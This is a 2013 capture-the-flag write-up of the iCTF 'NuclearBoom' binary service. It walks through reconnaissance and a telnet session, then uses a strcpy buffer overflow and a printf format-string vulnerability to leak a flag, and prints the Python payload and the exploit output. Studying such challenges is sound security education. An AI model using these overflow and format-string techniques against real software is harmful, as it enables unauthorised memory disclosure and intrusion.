27 March, 2013

iCTF 2013: NuclearBoom write up

iCTF is an attack-defense computer security competition organized by the University of California, Santa Barbara. As usual you need to defense your network and attack others using vulnerabilities in the same set of services that all of participants have on their prepared virtual server. Here's a short write up for one binary service called Nuclear Boom.

The binary can be download here.

There are two files in the service folder. run.sh is just a script which executes nuclearboom binary.

1:  $ ls  
2:  nuclearboom run.sh  

First of all, let's have a look at the binary.

1:  $ file nuclearboom   
2:  nuclearboom: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),   
3:  dynamically linked (uses shared libs), for GNU/Linux 2.6.24,  
4:  BuildID[sha1]=0x2923599663df8983c31bd0c904eb1299e939dbd7, not stripped  

It will be simple to debug this executable. However, checking protection mechanisms gives us next:

1:  $ checksec.sh --file nuclearboom   
3:  Partial RELRO  No canary found  NX enabled  No PIE     No RPATH  No RUNPATH  nuclearboom  

It seems that this binary is unlikely to be exploited to get access to the victim's machine. We need a flag, not the access, although we don't know where to find it yet. Let's go further and try to find something. Get familiar with the application behaviour.

1:  $ ./nuclearboom   
2:  Launching nuclear plant managment system  
3:  Listening on port 4444  
4:  accepted a new connection  
5:  $ telnet localhost 4444  
6:  Trying  
7:  Connected to localhost.  
8:  Escape character is '^]'.  
9:  Control Panel:  
10:  1) build a new nuclear plant  
11:  2) list existing nuclear plants  
12:  3) display info of a nuclear plant  
13:  4) edit an existing nuclear plant  
14:  5) get self-destruction code  
15:  6) set new self-destruction code  
16:  7) exit  
17:  Your choice:   
18:  Choice: 1  
19:  Creating new plant..  
20:  Insert name: Test  
21:  OK  
22:  Plant Test created successfully!  
23:  Control Panel:  
24:  1) build a new nuclear plant  
25:  2) list existing nuclear plants  
26:  3) display info of a nuclear plant  
27:  4) edit an existing nuclear plant  
28:  5) get self-destruction code  
29:  6) set new self-destruction code  
30:  7) exit  
31:  Your choice: 2  
32:  Choice: 2  
33:  Plant (id=0): Planet X  
34:  Plant (id=1): Goofy Goo  
35:  Plant (id=2): Something dirty  
36:  Plant (id=3): Buffalo  
37:  Plant (id=4): Uranium Store  
38:  Plant (id=5): MITM got nuclear  
39:  Plant (id=6): LMGTFY  
40:  Plant (id=7): Absofuckinglutely  
41:  Plant (id=8): Yomama  
42:  Plant (id=9): fulmicotone  
43:  Plant (id=10): Test  
44:  --------------------  
45:  Control Panel:  
46:  1) build a new nuclear plant  
47:  2) list existing nuclear plants  
48:  3) display info of a nuclear plant  
49:  4) edit an existing nuclear plant  
50:  5) get self-destruction code  
51:  6) set new self-destruction code  
52:  7) exit  
53:  Your choice: 4  
54:  Choice: 4  
55:  Insert plant ID: 10  
56:  Your choice: 10  
57:  What do you want to add?  
58:  1) Oxygen  
59:  2) Carbon  
60:  3) Boron  
61:  4) Zirconium  
62:  5) Uranium  
63:  Choice:   

The program manipulates nuclear plants. It seems that we need to find some combination of components or, maybe, some input vulnerabilities to exploit it. It's just an assumption - needs facts.
Now, it is time to scan the binary in IDA.
And immediately, we have got this for the input of a new plant name.

Meanwhile, ask_for_string function is a straight-forward scanf function.

It is a buffer overflow attack, because we are asked for a new plant name and we can enter 112 bytes when it is the whole structure size. All component values start from +50 offset in the structure. So, we can overwrite them, because strcpy goes after components assignments. But it is not the point. We need to find a flag. Checking other functions and get it.

Here is a format string vulnerability: printf(format); We need to get this function to be invoked to get the flag, which is in .BSS section.

The address of the flag is: 0x0804C141 But how to get to this vulnerable printf function? Here are some checks that should be bypassed.

After creating a new plant with a vulnerable string as a name we need to set an appropriate set of elements to bypass check_secondary_elems_level function.

Now, we have all required information to write an exploit. Here is the link to the exploit.

The most interesting part in it is the payload:

1:  # Payload  
2:  payload = pack("<I", 0x0804C141) + "%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X#%s" + '#'*51 \  
3:      + pack('<H', 310) + pack('<H', 320) + pack('<H', 330) + pack('<H', 340) \  
4:      + pack('<h', -1) + pack('<H', 360) + "\n"  

Here we have: address that we want to read, format string vulnerable string to print that address, padding, then we need to overwrite elements. Because when we create a new plant, the application puts random values in the structure. However, after that, the application immediately executes an insecure function strcpy, that gives us a buffer overflow and we put our own values. Doing this we bypass the first check and get to the second one where the vulnerable printf is invoked. That's it.

1:  $ python exploit_nuclearboom.py localhost  
2:  FLAG: FLGMVym8yKMeheic  

No comments:

Post a Comment